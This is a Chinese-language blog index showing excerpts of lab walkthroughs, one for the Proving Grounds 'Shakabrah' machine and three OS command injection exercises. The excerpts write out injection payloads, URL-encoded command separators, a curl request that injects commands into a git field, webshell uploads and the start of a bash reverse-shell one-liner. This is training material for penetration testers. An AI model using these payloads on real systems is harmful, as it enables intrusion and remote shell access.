發表文章

目前顯示的是有「command injection」標籤的文章

Proving Grounds Play : Shakabrah Walkthrough

圖片
 Proving Grounds Play : Shakabrah Walkthrough Foothole (立足點 ) : 80 Port 網站是一個標準有 command injection 的網頁 利用後直接建立 Reverse Sehll PE ( 提權 ) : SUID 利用 vim 成功提權 注意事項 : 相對簡單的一個靶機,沒有需要特別注意的地方 第一步 Rustscan,└─$ rustscan -a 192.168.172.86 --scripts none --ulimit 5000 | tee rustscan 僅有開兩個 Port 22 & 80 snmp 檢查 filtered,沒戲 └─$ sudo nmap -sU -p 161 192.168.172.86 | tee snmp nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.172.86 | tee nmap 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)) whatweb,└─$ whatweb http://192.168.172.86 | tee whatweb Exploit-DB Apache 2.4.29,nothing 80 /,是一個可以執行 Ping command 的網站 執行 127.0.0.1 ping Kali 192.168.45.202 從 127.0.0.1 的 TTL 結果來看,是一台 Linux Base 機器 參考這個網站,開始測試 command injection 參考 :  https://gabb4r.gitbook.io/oscp-notes/cheatsheet/command-injection-cheatsheet 開始一一測試發現前面幾個就有用 <!--#exec%20cmd="/usr/bin/id;--> ;id; ;id 看來直接用 ; 後面接命令即可直接執行 ;whoami ;ls -la 也可以直接使用空格沒有問題 ;cat index.php 測試 bash -c "bash -i >& /dev/...

操作系統命令注入攻擊(3)

圖片
  操作系統命令注入攻擊(3) 靶機 IP : 192.168.203.192 攻擊機 IP : 192.168.45.250 目標描述 : 枚舉機器 VM。找到 Web 應用程序並訪問系統。該標誌可以在C:\inetpub\中找到。 起手式 rustscan └─$ rustscan -a 192.168.203.192 -u 5000 -t 8000 --scripts -- -n -Pn -sVC  由題目描述與掃描結果看來是台 Windows 題目告知由 Web 下手,就先看看那些是 Web Services Port 看來是 80 or 8000 80 是 IIS Default Page 8000 是個購物網,看來就是從這下手了,下方有個支援檔案上傳的功能 先上傳一個 test.txt 看來成功,接著上傳一個 php 檔案也成功 PS : 但他是一個 IIS, 應該要用 asp 較好才對,至少先證實他沒有檔 現階段先去找找看我們上傳的 test.txt 檔案可否讀到,先跑 gobuster 查看相關路徑 └─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.203.192:8000/ -t 150 -x .txt                           測試了一番甚麼都沒有,記得我們還有一個 HTTP Port 80,一樣用 gobuster 試試看 指令 : └─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.203.192/ -t 150 -x .txt     第一個就掃到了,所以在 8000 Port 網站上傳的檔案可以透過 80 Port 讀取到 透過 Browser 開開看,確定是剛剛上傳的檔案沒錯 因為是 IIS,所以開始丟 asp or aspx 檔案,檔案在 kali 底下都有 路徑在 /usr/share/webshells/asp or /usr/shar...

操作系統命令注入攻擊(2)

圖片
 操作系統命令注入攻擊(2) 目標說明 : 在 VM 上啟動 Future Factor Authentication 應用程序。識別漏洞,利用它並​​獲得反向shell。在反向 shell 中使用 sudo su 來獲取提升的權限並找到位於 /root/ 目錄中的標誌。 靶機 IP : 192.168.203.16 攻擊端 IP : 192.168.45.250 第一步先 rustscan └─$ rustscan -a 192.168.203.16 --scripts none  --ulimit 5000 掃描結果 22/80 Port 依據題目描述的結果,看來是個網站,那就直接開啟 80 Port 看看 http://192.168.203.16 如下圖,如題目描述是個未來多因素驗證網站 點選 here 後畫面如下,有三個欄位可以輸入,不知道哪個欄位可以利用 那就先每個欄位都輸入隨便值送到 Burp Suite 去測試最快 分別在三個欄位預設先使用 1111、2222、3333 接著要想一下用甚麼字串來接後面接的指令,一般常用的如下 address=8.8.8.8%3Bwhoami  (  ;  character, Linux only) address=8.8.8.8&26whoami  (  &  character, Windows only) address=8.8.8.8%7Cwhoami  (  |  character) address=invalid%7C%7Cwhoami  (  ||  characters, the second command is executed only if the first command fails) address=8.8.8.8&26&26whoami  (  &&  characters) %3E(whoami)  (  >  character, Linux only) %60whoami%60  (  `  char...

操作系統命令注入攻擊(1)

圖片
 操作系統命令注入攻擊(1) 靶機 1 IP : 192.168.203.189 攻擊端主機 IP : 192.168.45.250 rustscan 一下,是一台 Windows 80 Port 開起來是 XAMPP 8000 Port 開起來是個支援線上 GIT Clone 備份的網站,所以看來是個命令注入攻擊的欄位   隨便打一個 git clone http://127.0.0.1/123.zip 再送到 Burp Suite 的 Repeater 執行結果是 HTTP 200 但有 Error, Error 看來是那個 http://127.0.0.1/123.zip 的關係 ipconfig 一下發現回應 Command Injection detected 單獨下 git 看看,發現輸出有 git 的 help 說明,表示網頁一定要用 git 開頭 前面有發現是 XAMPP 所以知道是 Windows 伺服器,若不是 XAMPP 架設的網站 可以透過 git version 測試看看是 Linux or Windows(Windows 版的會寫 Windows) 這次透過 curl 來測試看看,指令如下 └─$ curl -X POST --data 'Archive=git version' http://192.168.203.189:8000/archive 那就開始試試看最常用的命令注入分接方式,亦即在指令後面接 ;、&、&&、|、etc... 這些常用的試試看,但因為是網頁輸入所以要轉一下 URL Encode 從 URL Encode 測試如下圖,可以得知轉換的語法為 ; = %3B、&=%26、&&=%26%26、|=%7C 3B 那就一個一個測試看看吧,結果第一個 ;(%3B)就中獎 curl 指令 └─$ curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.203.189:8000/archive 因為是 Windows 主機,所以我要知道執行指令的用 cmd or powershell 這時候可以透過這一行指令測試 (dir 2>&1 *`|echo CMD);&...